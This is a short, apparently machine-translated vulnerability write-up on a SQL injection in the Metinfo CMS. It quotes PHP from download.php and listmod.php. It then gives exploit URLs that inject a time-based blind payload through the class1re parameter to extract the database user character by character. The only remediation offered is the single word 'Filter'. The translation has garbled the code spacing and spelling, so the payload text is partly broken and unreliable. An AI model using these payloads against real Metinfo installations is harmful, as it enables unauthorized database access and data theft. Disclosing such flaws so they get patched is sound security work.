Metinfo latest SQL Injection

Metinfo latest SQL Injection

Metinfo latest SQL Injection

Direct code analysis:



Download. php:

require_once '../include/common.inc.php';$mdname = 'download';$showname = 'showdownload';$dbname = $met_download;$dbname_list = $met_download_list;$mdmendy = 1;require_once '../include/global/listmod.php';

Then jump

Listmod. php:

$class1_info=$class_list[$class1]['releclass']?$class_list[$class_list[$class1]['releclass']]:$class_list[$class1];$class2_info=$class_list[$class1]['releclass']?$class_list[$class1]:$class_list[$class2];$class3_info=$class_list[$class1]['releclass']?$class_list[$class2]:$class_list[$class3];if(!is_array($class1_info))okinfo('../404.html');$class1sql=" class1='$class1' ";if($class1&&!$class2&&!$class3){foreach($module_list2[$class_list[$class1]['module']] as $key=>$val){if($val['releclass']==$class1){$class1re.=" or class1='$val[id]' ";}}if($class1re){$class1sql='('.$class1sql.$class1re.')';}}

Step 1



If (! Is_array ($ class1_info) okinfo ('../404.html ');



Part II



Not meeting foreach ($ module_list2 [$ class_list [$ class1] ['module'] as $ key => $ val ){



Then, we will produce a quality control

$ Class1re



OK after analysis, send the url:

Http: // localhost: 8080/metinfo/download. php? Class_list [] [id] = mmm & class1 = 1 & class1re =) or (1) or if (ascii (substr (user (), 114) =, benchmark (1000000, md5 (1), 1) -- sd





Cause time delay. Capture SQL statements in the background

23: 53 SELECT * FROM met_download where lang = 'cn' and (recycle = '0' or recycle = '-1') and (class1 = '1 ') or (1) or if (1, banchmark (1000000, md5 (1), 1) -- sd) and displaytype = '1' order by top_ OK desc, no_order desc, updatetime desc, id desc LIMIT 0, 8

114 this is a php variable that can be replaced later. We can replace it with sensitive information.



Http: // localhost: 8080/metinfo/download. php? Class_list [] [id] = mmm & class1 = 1 & class1re =) or (1) or if (ascii (substr (user (), 1, 1) = $ NUM, benchmark (1000000, md5 (1), 1) -- sd





Then you can guess sensitive information.
 

Solution:

Filter